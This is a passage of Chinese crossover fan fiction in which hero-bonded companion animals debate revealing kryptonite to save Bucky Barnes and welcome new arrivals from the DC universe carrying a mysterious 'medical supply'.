托尼不过是个年轻的普通人,而且有霍华德和玛利亚在，托尼帮不上什么忙，还会让霍华德和玛利亚分心。 而卡尔则还年少，虽然快速觉醒了强悍的超能力，激光眼、冰冻吐息、飞天，还皮糙肉厚的，却也只有十六岁而已，考虑到九头蛇的非人圈养行为，卡尔的认知能力可能都没有正常青少年高。 让这样的人去经历勾心斗角和战争，难免让人心痛。 现在人类的想法是尽可能让卡尔在悠闲的状态下生活，做些基础训练，晒晒太阳，其余时间玩闹或者读书都可以，只要尽可能的快乐就行。 刚开始的半天时间，卡尔还算听话，看书，在庄园里面闲逛，也上上网刷一些时事来看。 像大家期待的那样按部就班的认知这个世界。 可只是到下午而已，卡尔就不再配合，他更多的在户外活动，或者逗弄小动物们，对战斗的兴趣不大，学完那些基础的技巧后就失去兴趣，也拒绝和人对练。 到晚饭的时候，卡尔连小动物都不碰了。 明明允许任何小动物到他身上蹦跶，却不再抚摸它们。 他的神情也额外严肃冷漠，搞得吃完饭的托尼心不在焉，远远地看着这家伙就感到一种危险的气息正在蔓延。 “你说他是不是……”托尼咬着叉子嘀咕。 那只极乐鸟依然落在卡尔的肩膀上，和他贴贴，完全不带怕的。 大红、小红也没什么反应，其他小动物倒是也觉得卡尔奇怪，或多或少在观察。 见人类也受到影响，小红叽啾着告诉托尼：“没关系的，只是他的超能力觉醒的越来越多，这世界对他来说就越来越脆弱，他怕伤害到我们，才不去触碰我的，你看，他不只是不碰我们，所有的东西他都不碰。” 超级力量。 很有用的超能力，在超人一生经历的战役中，这个技能绝对能拿MVP，可在还没有学会控制它之前，这东西足以毁掉卡尔所有心爱的人事物。 他必须小心再小心。 这种世界变成玻璃糖纸的感觉让他恐慌，为了以防万一，他只能选择什么都不去碰。 在小动物的解释下托尼知道了现在的情况，他想了想，提议。 “其实，有个地方说不定很适合他锻炼，我在老爸的实验室里做了个重力舱，因为压力太大不适合所有人使用，强化后的老冰棍都不行，只有那个叫做巴恩斯的家伙可以用一下，既然巴恩斯的改造血清来自这家伙的细胞，说不定那里正好适合他？” 托尼说话的声音不大，可卡尔还是轻松听到了，他从窗边飘到托尼所在的餐桌旁边。 “你说的地方，它的强度如何？”卡尔礼貌的问，“能带我去看看吗？” “强度的话，反正巴恩斯和美国队长都没能把它拆掉，至于你能不能拆掉就要看情况了，在这里聊也聊不出结果，实验才能出结果，我们可以去试试看。” 说着，托尼快速吃完剩下两口饭。 “红太阳灯……”卡尔十分犹豫的提起这个东西。 根据九头蛇的研究报告，托尼也知道红太阳对卡尔的压制效果，黄太阳则是增益效果。 从卡尔的语气里不难听出卡尔真的很讨厌那东西，于是托尼摆摆手。 “重力舱扛不住再说，那东西也好做的，等你拆了这个，我们再弄一个红太阳版本的重力舱也不迟。” 锈斑猫、薮猫、塔塔、多纳滋陪着两人往位于地下的实验室去。 馍馍和薇薇经过一段时间的互相接触，感情逐渐升温，现在已经是可以一起去厨房攻略冰箱，获得甜甜圈的程度了。 现在大概正在跟厨房门口锁上的门斗智斗勇呢。 留下来的小红、大红和星期五没事干，小红脑子闲不住，唧唧啾啾的分析：“说起来，巴恩斯活不长不就是因为从卡尔体内提取的氪星细胞入侵导致的吗？红太阳房间可以压制卡尔，理论上也能压制巴恩斯体内的氪星细胞？” “没什么意义，巴恩斯会死是因为排斥反应，只是压制住氪星细胞不仅不能治疗他，还会消减他的超能力，反而会让身体虚弱，结果就是死的更快。” 大红也看过分析报告了。 他们需要的是可以杀死那些氪星细胞的东西，而且还是被黄太阳强化过后的氪星细胞。 换句话说，他们需要氪石。 “但是这个世界好像……没有氪石。”小红有些头疼。 或者说可能有，但还没有被人类发现。 “看来，我们现在需要的是一个奇迹。”大红歪头看向星期五。 发呆的星期五默默看回去，片刻后摇头。 “不需要。” 大红：“嗯？” “这是人类自己就能解决的问题，不需要我们的奇迹。” 小红好奇的问：“是奇迹说的？” “我猜的。” 奇迹到现在都没有行动，就能说明很多问题，星期五猜，人类知道怎么解决眼下的困境，只是还需要一点时间而已。 星期五的话也说得过去，它们宇宙中的氪石理论上是和超人的飞船一起降落的，只是后来才被人挖出来。 那么这里的卡尔在降落时很可能也有氪石随之降落，只是不知道埋在哪里了而已。 小红昂头回忆自己看到的那些九头蛇上交的资料，确定里面没有提到任何与氪石类似的物质，只提到了红太阳能压制卡尔的超级能力和细胞活性。 “这个宇宙的人压根不知道氪石的存在啊……” 小动物们面面相觑。 现在的问题是，它们是否应该主动提出这东西的存在？ “就算知道氪石的存在，人类能否在巴恩斯还有救的时候找到这里的氪石也不好说，还会暴露卡尔的弱点，让他多了一层再次被禁锢的风险，这样真的值得吗？” 星期五在旁边，用低沉的声音提出疑问。 阴恻恻的调子让小红猛地打了个激灵，振翅起飞。 大红没有评价这件事情，干涉这个宇宙的事情本来就不对，可它们已经干涉这么多了，也不差这一件。 还是那句话，这里没有杰森的存在，什么事情都无法让大红真的提起兴趣。 大红会插嘴谈论这些事，本质上也不过是为了打发时间而已。 小红则落到大红的后背上，低头开始思考这件事情。 很快它就意识到，从某些角度来说，它正面对一个电车难题。 是以援救巴恩斯为优先，主动报出氪石的事情，包括当初它们宇宙的人找到氪石的地点，然后赌一把人类的善良，相信这个宇宙的人不会无缘无故的利用氪石来控制卡尔。 还是以保护卡尔的安全优先，赌人类能自己找到方法救助巴恩斯先生，也许是其他东西，也许还是氪石，但那至少不是小红供出去的方法，就算以后成为钳制卡尔的手段，小红也不必为此而产生压力。 小红：…… 这怎么就变成自己的责任了呢？ 突然之间，无论小红做出什么样的选择，仿佛都是错的，也都是对的。 有人得到了援助，也有人受到威胁。 而放在这铁轨两边的人，似乎都跟小红没有直接的关系。 “严格来说，你也无法确定两种选择下对应的坏事是否会发生，毕竟无论哪一种情况，你都有赌赢的可能性。” 说着，星期五下意识的舔了两下嘴。 此时它整只汪看起来爱笑不笑的，像一只狼外婆那般，愉快的甩着尾巴，嘴上却十分友好的主动帮小红分析。 “这样一想，其实，它比电车难题好多了。” 毕竟电车难题是只要电车能成功开过去，相应轨道上的人就只剩下死路一条。 小红：…… 谢谢！有被安慰到！ 第78章 小红陷入长久的自闭中。 托尼和卡尔的训练一切顺利, 巴恩斯和史蒂夫也没有回来。 大红和星期五两只狗轮着打哈欠。 不知不觉，大红睡着了，等它再醒来的时候,房间里已经没了小红的踪迹,应该是不知道飞去哪里自闭了,也没看到星期五的身影,大红趴伏下去,仔细的检查起地毯上狗爪压出的痕迹,猜测星期五不是走掉的,而是坐在原地的时候被奇迹召唤走了。 大红又打了个哈欠。 实在是无聊。 它站起来，抖了抖毛, 开始往前走, 准备出门去院子里散步, 自己溜自己。 只是走了两步，它就感觉有些不太对劲。 先是毫无预兆的一道劲风，几乎将大红刮飞,桌子上的资料飞散开，漫天飘纸的混乱场景中大红看到有个嫩黄色的小球即将掉落，也不知道它是从哪里冒出来的，这么突然地出现在半空中。 还没等大红的脑子反应过来自己该怎么做，下个瞬间，一只白乎乎的全名为雨伞巴丹鹦鹉，简称白葵的凤头鹦鹉从天而降,攀禽的爪子精准握住那颗球，随着球略微变形,仓鼠的脑袋被“挤”出来，大红才终于看清楚。 那颗黄球不是球, 而是一只团成球的小仓鼠。 “吱吱！”嘿！我是闪电鼠！ 小仓鼠在半空中快速的向大红打招呼。 因为它说的太快了，大红几乎无法从它的叫声里读取实际信息。 这也是个伴生动物？ 它们也是被交汇过来的？还是属于这个宇宙的？ 这边白葵还没落地呢，又一只绿呼呼的，大了很多的球跟着滚了出来，这颗球直接落到地上，往前快速滚动，直到碰到墙才停下来，白葵也终于带着闪电鼠在地毯上降落，它只有单脚能用，却还是蹦跶着，稳稳的停住了。 完事后白葵高高竖起羽冠，看向现场唯一一只狗。 嗯，唯一一只。 那个绿球也舒展开，好像也是个鸟，不过有些冷门，大红居然有点认不出来，只是看鸟喙和大鸟爪能做些推测，大概率也是只鹦鹉，而且还是只特别肥的鹦鹉，翅膀肉肉的，给人一种完全飞不起来的视觉效果。 “WTF？！”白葵大叫出声。 哇哇的吵闹声给了大红当头一棒，狗耳朵都跟猫似的往后背了过去。 这什么鬼东西？ ！ 大红睁大眼睛看着头冠张开跟把伞似的白葵，白葵也在看它。 “汪——！”白葵发出一声狗叫。 然后是一连串的“汪汪汪——！！！”的狂吠。 大红：……这TM什么鬼东西？ ！ 白葵不给大红反应时间，松开爪子放下闪电鼠，汪汪乱叫着迈着六亲不认的外八步伐，朝着大红步步逼近。 大红脸平了，却也不至于被它吓退，反而往前迎着白葵的噪音，嗓子里发出警告的低吼。 白葵大概也是鸟生第一次遇到对自己的噪音毫不避让的生物体，还因此愣了一下，羽冠都短暂收起，随后又猛地炸开。 “汪汪——！！”白葵选择发出更加庞大的噪音。 大红也不惯着它，此时它们之间的距离已经所剩无几，大红干脆一爪子对着鸟头拍下去，直接把白葵的脑袋死死按住。 随着鸟喙磕在地板上，这世界啊……它终于安静了。 这一下攻击有点狠，大红实在是被吵到，没能控制好爪子上的力量，等周围安静下来，大红也恢复了冷静，于是低头去看爪子下的鸟。 它意外的发现这只白葵完全没有一点受伤的迹象，还翻着个眼珠子，不服气的瞪着它。 居然还是个硬茬。 这下大红反而不敢松开爪子了，就怕自己一松手这家伙又来个疯狗狂吠，它的耳朵可受不起第二波冲击。 至于疯狂拍打的翅膀，和越来越多的羽粉，那都不是事…… 个鬼啊！ 大红忍不住猛地打了个喷嚏。 它们伴生理论上是不会掉毛的，小红和极乐鸟也从没落下过羽粉，难道这家伙的羽粉其实是一种攻击手段？ 更烦狗的是这些羽粉还有烟雾弹的效果，大红根本看不见另外两只动物的位置，反而是眼睛也受到刺激，开始渗出眼泪。 不等大红从这急转直下的情况中反应过来，它不可自控的疯狂打喷嚏，爪子也被某种力量给推起来，而此时一种淡绿色的光冲开羽粉的环绕，率先为闪电鼠做了个仓鼠球，接着又把角落里发呆的绿色圆鹦鹉给团入其中。 现在，羽粉覆盖了整个房间，而受害者只有大红一只汪而已。 “坏狗！”哈士葵嚣张的嘎嘎大笑，“嘎嘎嘎！打喷嚏的大坏狗狗！嘎嘎嘎！！！” 毫无预兆的，白葵的狂笑戛然而止。 直接灼烧灵魂的恐怖烈焰冲天而起，熊熊燃烧着的冥火瞬间将填满房间的羽粉吞噬殆尽，随着视野恢复清明，白葵也终于看清自己面对的东西。 那绝不是现实中应该存在的东西，而是另一种，更接近于魔法侧的存在。 当它出现时，周围的一切光亮都为之退散。 黑暗中，属于刻耳柏洛斯的低声咆哮环绕在每个生物耳边。 但凡是活着的东西，都是它的猎物。 “啊~哦~” 白葵的动作僵硬住，却还能张开嘴，发出大事不妙的嘟囔声。 “哇哦！”淡绿色仓鼠球里的闪电鼠发出兴奋地叫声，“那是一只地狱犬吗？它是不是有三颗脑袋？它在叫哎！” 闪电鼠似乎没长关于害怕的神经。 它看起来超兴奋的！ 白葵沉默，并悄悄地将耗子举高一点，免得它被地狱犬一口吞进去。 不过白葵显然是多虑了，地狱犬对闪电鼠没有一点兴趣，耗子太小，实在是不够地狱犬填牙缝的，它三个脑袋目标统一，齐刷刷地盯住中间的白葵。 这家伙，仔细看也不像三头犬。 它的脖子很长，长毛和鳞片交替覆盖，看起来更像是个三头龙、犬？ 头是狗头没有错，却也覆盖着鳞片做的盔甲…… “见鬼！这家伙怎么又能复活又能换装备？！” 白葵非常不满。 同样是伴生动物，这差距也太大了！ 不过，白葵也有自己的办法，当三头犬挨个向它咬过来，它立刻转头飞往窗户的方向，三头犬的体积像是只成年水牛，再算上三颗脑袋，很容易就能填满整个房间。 这样的体积注定它跟狭小空间匹配不佳，在这里三头犬很容易行动不便。 白葵在窗前突然拉伸高度，毫不意外的看到三头犬急刹车停在窗帘的前方。 刚才它就注意到了，这家伙只烧掉了羽粉，地毯、窗帘这些易燃物全都完好无损，三头犬在试图保护房间里的饰品，这就给了白葵可乘之机。 在三头犬调整角度的几秒时间内，白葵快速拉高高度。 随后它猛地扭头，以滚筒姿态向下俯冲，冲着三头犬中间的那颗脑袋直直地撞过去。 白葵像一架战斗机，驾驶员技艺精湛，又英勇无畏，它冲下来的架势，仿佛要跟三头犬同归于尽。 “唧唧！”停下！ 闪电鼠举起两只前爪，在仓鼠球里拼命的扒拉。 “唧——！”那是自己人啦！ 你们不要打啦——！ ！ ！ 闪电鼠开始快速震动，下个瞬间绿色屏障在它的能量下应声而碎，那碎片刚向周围迸溅开，闪电鼠就踩着它们，向前猛冲了过去，“砰”的一下抱住了白葵的鸟喙。 鸟头偏转，航线也跟着改变，白葵和三头犬咬过来的脑袋擦肩而过，然后快速下坠，最后一头撞在双人沙发柔软的靠背里。 三头犬也急刹车停下。 它回头去看那些鸟啊耗子啊什么的。 不是敌人。 当然不是敌人。 一见面大红就嗅到了它们身上的味道，其中就有蝙蝠侠的气息，但是一切变化都发生的太快了，几秒的时间里冲突就已经发生，大红几乎是凭着身体本能在反应，而白葵也不是个会因为冲突就选择让步的性格。 所以理所应当的，它们不明不白的打了起来。 幸好还有闪电鼠这只更友好的小家伙。 三头犬恢复了捷克狼犬的模样，走到双人沙发前方，一屁股坐下，审视着正在摇摇晃晃甩脑袋的白葵，并龇牙：你最好给我安静点，再吵就撕掉你的脑袋。 白葵看向它，完全不带怕的，哼哼唧唧的张口就要叫。 闪电鼠默默将爪子放在它的鸟爪上。 “唧。”你要是继续闹腾的话，我就要在你的毛里面逆向钻来钻去了哦。 白葵：…… 闪电鼠的威胁非常奏效，白葵一秒老实下来，浑身的羽毛都变得无比服帖，看起来至少比刚才小了两圈，只是左右活动两下脑袋，然后砸了砸鸟喙，发出非常微弱的嘎声，像是在自言自语似的抱怨着什么。 大红扭头看向旁边，那只绿圆鸡还在原地，呆呆的看着这边，有种不聪明的美。 保护着它的淡绿色屏障依然存在。 大红再看看那只昂首挺胸，仿佛还挺嘚瑟的白葵，顿时明白了。 这是一名守护者。 白葵知道大红在对自己的能力好奇，鉴于它已经知道这是自己一个球队的同伴，白葵毫不避讳，交代了自己的能力。 简单的说，可以将白葵的能力理解为异化的绿灯能量。 白葵的意志不灭，保护罩不会消失，除非里面的家伙自己要出来。 比如闪电鼠刚才所做的那样。 接下来它们简单做了个自我介绍。 白葵是绿灯侠哈儿·乔丹的伴生，闪电鼠是闪电侠巴里·艾伦的伴生，那只绿色的、不太聪明的圆鸡则是绿巨人布鲁斯·班纳的伴生。 “我不是鸡，我是鸮鹦鹉。” 圆鸡无奈的说。 第79章 鸮鹦鹉,一款圆润的肥鸡。 鹦鹉是它的种类，而叫做“鸮”，可能是因为它是夜行性的。 对于一种草食性的鸟类来说这非常罕见。 至少在大红的认知中是这样的。 “汪呜……？”你是……鸟？ 大红更在意这件事情。 它试着用爪子轻轻扒拉了一下鸮鹦鹉,想看看这家伙飞起来是个什么样子,鸮鹦鹉的翅膀实在是太短,又肉又圆,估计是好吃的,但要说靠着它们飞翔,那就实在是有点儿抽象了。 鸮鹦鹉还算配合,打开翅膀扑腾了两下——它确实离开地板了，大概30厘米左右。 鸮鹦鹉用行动证明,如果它足够努力,它能在起飞的时候用头撞到人类的膝盖。 猫和狗跳得都比这只鸮鹦鹉高。 大红忍不住吐槽。 鸮鹦鹉就默默地看着它,也不反驳，也不争取，非常佛系的样子。 确定大家都不打架之后这家伙就缩了缩,重新变回一个标准的球状，特别像是一块长了青苔的圆形石头。 “嘎。”白葵用正常声音叫了声，告诉大红：来聊正事吧。 大红只是看着它。 这让白葵有些难受，它歪着脑袋，摇摇晃晃的，还用鸟喙砸了两下沙发扶手。 “嘎嘎？”你不会好奇吗？都不在意我们是怎么过来的，又是为什么而来的吗？你都不想问我一下的？ ？ ？ 大红淡定道：你们是交汇来的, 和我们一样。 这没什么好说的，唯一的不同大概就是,它们可能是刻意控制了交汇？ 大红也不确定，但它不会满足白葵的, 所以表现的非常冷淡。 至于为什么而来？ 总会知道的。 白葵不是个能藏住秘密的性格。 而大红很清楚，越是想要探究秘密的时候，就越是要表现的毫不在乎。 没想到白葵嘎嘎大笑：才不是嘞！ “唧唧。”我们是闪现过来的哦，我是闪电侠的伴生，自然能达到足够快的速度，那没有到神速力那么厉害，但出发的时候闪电侠送了我一程。 而闪电鼠本身则更像是这疯狂冲锋的快艇上努力掌舵的驾驶员。 它要保证这艘船正在驶向它的目的地。 闪电鼠将自己这边的情况全都告知大红。 在交谈的期间，还用它超级快的速度将现场还原，保证人类回来后看不出这里都发生过什么样的混乱。 从头到尾都透露着白葵没有的乖巧懂事，搞得大红都不想为难它了。 当然鸮鹦鹉也很乖巧。 乖巧到让大红怀疑就算现在咬它一口，它也反应不过来，压根不知道要跑。 蠢蠢的，像颗绿皮球。 大红将视线从鸮鹦鹉身上移开，考虑到白葵那胡闹的模样，大红选择将目光放在更能顾全大局的闪电鼠身上。 “汪。”大红问：既然你们是被人类专门送过来的，就肯定有必须要过来的理由，说吧，你们是来做什么的？ 闪电鼠看向鸮鹦鹉。 “唧唧。”我们的任务是将它安全的送到这边来。 大红：……？ 大红：听起来，这家伙很重要？ 闪电鼠点头点头。 “唧唧~”据说，它是一个非常关键的医疗用品哦。 大红更迷茫了。 医疗用品？ 和那只鸮鹦鹉？ 这两个词之间应该产生关联吗？ 大红有些反应不过来。 尤其是这个词用的……有些物品化了。 鸮鹦鹉确认为这是恰当的。 不是比喻，也不是形容，“医疗用品”是个写实的描述。 大红也终于明白过来，汪呜着问鸮鹦鹉：你是为了救某个家伙才过来的？ 鸮鹦鹉点了点头。 大红：但你们是怎么过来的？ 闪电鼠依然毫无保留，将事情的来龙去脉交代清楚。 简单的说——布莱克身上有蝙蝠侠的定位器，那不是通常意义上的定位装置，它的主要目的是传送宇宙编号，以便锁定该宇宙在无限多元宇宙中的坐标。 一旦有了宇宙坐标，再加上一台非常特殊的跑步机，闪电侠就能在宇宙边缘的墙上钻洞，将它们送往其他平行宇宙。 所以，这是正义联盟集体参与的特殊行动。 现在的问题只剩下一个：它们要救谁？ 乖宝宝闪电鼠依然是立刻就将自己知道的全盘托出：“唧~”他叫巴基，全名詹姆斯·布坎南·巴恩斯。 大红陷入长久的沉默。 它费了不少力气才让自己的大脑顺利运转，而不是只顾着运气。 大红看着闪电鼠，用尽可能温和却依然透露着一丝扭曲的口吻轻声询问：老蝙蝠不可能只靠着一个定位点就做到这个，他还给谁带了监控设备？ 闪电鼠告诉它。 锈斑猫身上纳米机器人本身也是一个定位设备，这点锈斑猫自己就知道，并且很愿意同斯塔克分享自己经历的一分一秒。 人家的家庭和睦，关系亲密，伴生和孵化者亲密无间，互相分享。 这个没有问题。 问题在于哥谭这边。 谁TM要跟老蝙蝠分享自己经历的一分一秒啊？ ！ 大红内心的怒吼吵到了馍馍、薇薇，鸭嘴兽和食梦貘肩并肩，用着不分上下的笨拙步子慢慢走回来。 钻过门上狗洞的时候，正好对上大红气得耸着个肩膀，在那拼命运气的模样。 馍馍和薇薇同时在脑袋上冒出小问号。 “这是怎么了？”馍馍问。 薇薇则在看房间里突然多出来的三只陌生动物，迟疑的问：“你们……谁？” 它们稍作试探，确定这三只也愿意加入链接后就把大家的精神拢在一处，这样虽然不在一间房间里，声音还是能彼此传达。 ——布莱克除外，这货依然屏蔽着馍馍和薇薇。 消息沿着精神链接顺利传递给其他小动物，大家都知道新的伙伴是一只闪电鼠，一只吵闹的白葵鹦鹉，和一只圆乎乎的，长青苔的圆润土球似的鸮鹦鹉。 “它要、怎么帮助巴恩斯呢？” 帕夫的声音听着就非常的遥远，即使精神链接也无法拉紧它与其他小动物之间的距离，不过它的精神头不错，显然巴恩斯有救的消息让它好高兴。 关于这个，鸮鹦鹉没有直接回答。 它都没发出声音，就算是在精神世界里，也十分的安静。 相比之下那只白葵是真的吵闹。 嘴巴上吵闹也就算了，毕竟可以让它闭嘴。 可脑子里吵闹那就真的是…… 平等的吵到所有人的脑袋了。 就连应该被阻隔的人类都隐隐约约感到自己脑子深处，一个遥远的又无法忽略的空间里，似乎正在不断发出叽叽嘎嘎喳喳的动静。 这就好像是无意识开始哼的BGM那样。 停不下来，也无法忽略，想要集中精神也会被它一次次打断。 重力舱里的卡尔呼出一口气。 闹心的看着外面。 托尼也在闹心，他隔着特殊玻璃墙对卡尔比划，示意测试先暂停，不管怎么说，他们得先解决那只吵到他们脑子的怪东西。 卡尔走出重力舱，极乐鸟和小红先后落下来，两只鸟站在同一侧的肩膀上并排贴贴。 薮猫在托尼脚边坐着，当托尼和卡尔一起往外走，薮猫就跟着一起往外走，锈斑猫则是中途从薮猫帮它踩扁的懒人沙发上跳起来，抖抖毛也跟了上去。 也许是有些好奇那边的情况，和新来的伴生动物，锈斑猫先一步小跑过去，薮猫想了想，仗着大长腿用快步走的方式跟上锈斑猫。 多纳滋陪塔塔出去觅食，暂时只能在精神链接中听到塔塔的抗议。 “你安静一点啦……” 软糯糯的水獭连抱怨都是软软的。 这一声直接让托尼的步伐也加快了不少。 白葵也感受到水獭的存在，正在精神世界中打量着这东西，看起来白葵并未真的见过活着的水獭，只是看过图鉴和书面介绍，所以它知道这个东西，但依然会发出感叹。 “嘎嘎，水耗子。” 塔塔脸都皱起来了。 虽然一直知道布莱克那货也把自己当做大水耗子啦。 可是塔塔又不是真的大水耗子！ 气坏了的塔塔吧嗒吧嗒狂奔回去，差点撞到即将进门的锈斑猫，急刹车后转身杀入房间，两三下校准目标，对着地板上摇头晃脑快乐蹦迪的白葵发起冲锋。 “大白鸡接招——！！！” 白葵：？ 白葵：“你说谁是鸡呢？！” 飞行员升空，战斗机准备俯冲！目标瞄准滚出去的鼠球。 鸟飞耗子跳的混乱中，锈斑猫和薮猫钻进门内，薮猫叹了口气。 “它不会投弹吧？”薮猫温和的向闪电鼠提出自己的担忧，“地毯脏了可不太好打理。” 闪电鼠愣了一下，从薮猫竖着的猫瞳中读到那无声的威胁。 “不会不会不会，肯定不会。” 鼠鼠乖巧。 锈斑猫看着比自己大了好几圈的白葵，以及小了好几圈的仓鼠，瞬间失去兴趣。 它左右看看，找到自己喜欢的双人沙发跳上去，一趴，开始观战模式。 塔塔冲锋在攻击、移动和闪避上都拥有绝对的优势，而白葵仰仗的是屋子里空间有限，塔塔无法展开远距离冲锋强行拉开距离，这就给了白葵袭击的空间。 就是水耗子太会躲了，屋子里的障碍也太多，不方便鸟类扑袭。 不过这点小困难可难不倒白葵。 自己扑不到就不扑，它可以用别的东西攻击嘛！ 这样想着，白葵伸爪子爪住一只水杯。 闪电鼠：！ ！ ！ 啊啊啊啊啊——！ ！ ！ 劲风突兀的在房间里卷起。 一切可以被打翻的，容易碎掉的，带着液体或者其他会弄脏地毯的东西，全部被闪电鼠收拢到屋子的角落里，用桌子挡住，前面挡上放躺的双人沙发充作战壕，然后闪电鼠指着瞬间清空的屋子中央。 “你们！去那边打！” 白葵和塔塔先后愣住。 同样愣住的还有正趴在双人沙发上舔毛，还没反应过来就被跟着一起挪了地方，跟着双人沙发一起被放倒，身体在重力作用下和坐垫一起滑到沙发靠背上再次坐稳的锈斑猫。 猫猫：……？ ？ ？ 什么情况？ 第80章 半夜。 托尼已经去睡了, 卡尔还在窗口看月亮，大红叼来一本书分享给卡尔，他们就一起看书, 卡尔一边看一边小声读给大红听。 巴基和史蒂夫没有回来。 托尼还没有反应,大概是因为霍华德和玛利亚经常因为一些机密任务或者实验而失联,从小在这种环境下长大的托尼对于父母夜不归宿且没有任何消息已经是习以为常的态度,甚至都没试着去联系一下。 多纳滋跳上窗台看向外面。 帕夫上一次在精神链接中和它们交谈, 已经是一个小时之前的事情了。 它们并不是每时每刻都在交谈。 正常来说,一个小时甚至是一整天都不说话也不是什么大事情,又不是黏糊糊的小宝宝或者伴侣，恨不得时时刻刻都要紧紧黏在一起。 理论上现在的交流频率是完全正常的。 可……现在是非常时期。 多纳滋认为帕夫不会无缘无故的保持如此长时间的静默,要知道这可是精神链接,就算是它和人类正在执行隐匿任务,帕夫也可以继续在精神链接里面和它们聊天，而不必担心会对任务产生任何妨碍。 现在的静默只能说明一个问题：出事情了。 大红走到多纳滋身边。 “我知道你在担心那两个人类和帕夫，但没有奇迹, 我们根本没办法快速移动到他们身边，你连他们在哪里都不知道，就算知道……难道你要跑过去吗？” 多纳滋看了大红一眼。 “布莱克不在，小红情绪低落，这时候你就站出来了。” 大红不懂多纳滋说这个干嘛。 多纳滋：“你很有领导天赋，却不喜欢带领它们，是因为它们是你的兄弟, 让你无法严肃的对待它们嘛？” 大红：…… 大红：“跟你没有关系。” 它们的矛盾源自于它们孵化者之间的矛盾，这是蝙蝠家族的家务事。 他们没有血脉, 却生死相关，这种关系本就是理不清楚的, 除去他们之外的任何人都没有资格横插一手。 见大红的眼底多了些警觉和攻击性，多纳滋继续道： “布莱克在离开前，让我帮忙看着其他来自哥谭的小动物，但现在我必须要离开了，离开前我想委托你来接替我继续看护它们，你愿意帮我这个忙吗？” 大红沉默的盯着多纳滋。 这个“来自哥谭的小动物”多半是包括了大红的，这让大红不爽。 而多纳滋选择它做接替者，很可能是布莱克提供的选择名单，而且大红很怀疑第一接替者是小红，小红现在情绪不佳，这才找到它的头上。 大红吭了一声，来表达自己对这个任务的嫌弃情绪。 “去找小红吧，它的电车难题已经自行解开，你把任务交给它，它能解决的。” 多纳滋：“你也要离开了？” 这个问题把大红问得原地愣住。 正常情况下不该问它为什么不接任务之类的吗？ 怎么话题跳跃到这件事情上面了？ 而且好巧不巧的，大红还真的是打算着今晚就走。 布莱克和玛莎一起离开，不仅是他们两个没有消息，这两天报纸新闻也没有动静，照理来说玛莎出去搞威吓，不该这么安静。 大红觉得事情有些古怪，再加上呆在屋子里实在是太无聊了，它从来就不是养在屋子里的狗，在杰森那里最小的活动范围都是一整个红蝙蝠洞，在韦恩庄园更是坐拥数千平的自由活动空间，什么时候这么憋屈过？ 呆不住的大红就想要亲自出去调查。 所以这担子，也只能落到小红的头上。 想到这里，大红突然反应过来。 有没有可能，在布莱克交给多纳滋的备选项中，自己确实是第一顺位？可这并不是因为布莱克相信大红，真心地指望大红做什么，而是一旦这个任务交到自己的身上，再想要抽空去找布莱克，就会变成几乎不可能的事情。 那家伙肯定在做什么特别的事情不想被打扰才故意这么搞的。 大红磨着牙，嗓子里发出呜声。 它隔着遥远的距离，对布莱克发出抗议，虽然知道对方听不到，但动物天性使然，不做些表示它实在是难受。 多纳滋就在旁边看着，看了一会，小红落了下来。 摆在眼前的电车难题确实已经解决，可这道题目却仍然留在小红心里。 它的气场都有些不同往常，整只鸟从内而外透着一股紧绷的压迫感。 “你们想去哪都去吧，这里也出不了什么事情。” 严格来说，它们都是孩子，在人类眼里，伴生动物都是他们的小可爱，可从另一个角度来说，它们中也没有孩童，在小动物的心里，它们诞生的目的就是为了自己的孵化者，它们应该带来快乐，而不是享受快乐。 小红可以肯定，哪怕是看着最闹腾的白葵其实也是心里有数的，那些闹腾很好的在关键时刻放松了大家的神经，缓和了彼此的关系…… 它很清楚它在做什么。 它们都知道。 多纳滋咬住窗户下压的把手，轻松打开了窗户，金毛先一步跳出，接着是大红，两只狗朝着不用的方向离去。 小红叹了口气。 此时房间里只剩下小红，还有蹲在沙发底下的阴影里，也不知道呆了多久的鸮鹦鹉，两只鸟互相看看，配合着努力把窗户归位，然后找来绳子系住把手，往窗帘杆上一挂，再将另一头丢下去。 鸮鹦鹉在下面咬着，往后退，这样一点一点的，凭它们的力量也能将把手复位。 然后它们一起去厨房吃饭。 白葵正站在半开的冰箱门上嗑瓜子，下面是在搬运蛋糕的闪电鼠和塔塔，锈斑猫在远处门口位置站着放哨，薮猫则在窗台上看着月亮发呆，不参与，也不阻止。 白葵优哉游哉的磕着爪子，一个接着一个不带停的，就这样它的嘴巴居然还能抽出空来，问小红：“你打算什么时候跟他们说？” “说什么？” “鸮鹦鹉。” 小红反问：“我都还没弄清楚它的情况，怎么和人类说？” 说是“医疗用品”，具体是什么样的医疗用品？什么成分？又该怎么用？ 别到时候转头说是要把鸮鹦鹉切片…… 虽然觉得不太可能，如果真的是那样的情况，正义联盟的人肯定不会同意，至少闪电侠会坚决反对到最后，绝对不会让闪电鼠帮忙送货。 小红心里知道肯定不会是那种情况，可它就是忍不住计算所有情况，包括最麻烦的、最坏的那一种。 “关于鸮鹦鹉，你们知道些什么情报吗？”小红问。 白葵歪着脑袋，思考。 “嗯……也不能说完全不知道吧，多多少少知道一点点，但你想要的情报，我应该是知道答案的，毕竟当初做实验的时候，我也在场呢！” 白葵鸟爪子上拢着一大把瓜子，为了固定它们，这家伙毫不吝啬的使用着自己的能量，也幸好它不用充电，不至于时不时的陷入自己孵化者面对的灯戒没电的困境。 小红抬爪绕过翅膀挠了挠脑袋等白葵往下说。 白葵先是在认真思考。 大概一分半钟后才给出一个说法。 “先说哦，人类没有跟我做过详细说明，我说的都是我自己看到的，不保证它完全正确哦。” 小红表示没关系，那些话是真是假，小红会自己判断。 “这话的意思不就是，你根本不打算相信我？”白葵无语的看着这只还没自己爪子大的小不点，“嘎，你说话这么直接的吗？” “嗯……感觉直接说出来比较好……？”小红没有否认，还描述了自己的想法，“拐弯抹角的试探比较讨人厌吧？” 白葵：…… 小红也不怕这只对它来说巨大无比的白葵，反而昂着头，用无辜的调子轻声对它说：“请将这视作某种家族遗传疾病吧。” 白葵再次无语。 它好像理解自己的孵化者了，怪不得哈尔·乔丹每次去哥谭都逼逼赖赖的。 哥谭出来的生物，有一个算一个，都多少有点大病！ 白葵竖起羽冠，抖了抖，让它们松弛回去。 最麻烦的是看起来无辜乖巧还挺可爱的小红和哥谭的蝙蝠侠完全不同，哈尔·乔丹惹急了可以选择动手，而白葵要是敢对小红伸爪子…… 它是真怕自己不小心把这只小鸟生生踩成一滩可爱的鸟饼。 在小红的要求下，白葵回过神，开始讲它知道的，关于鸮鹦鹉的情报。 首先是鸮鹦鹉的孵化者。 班纳博士。 也就是绿巨人。 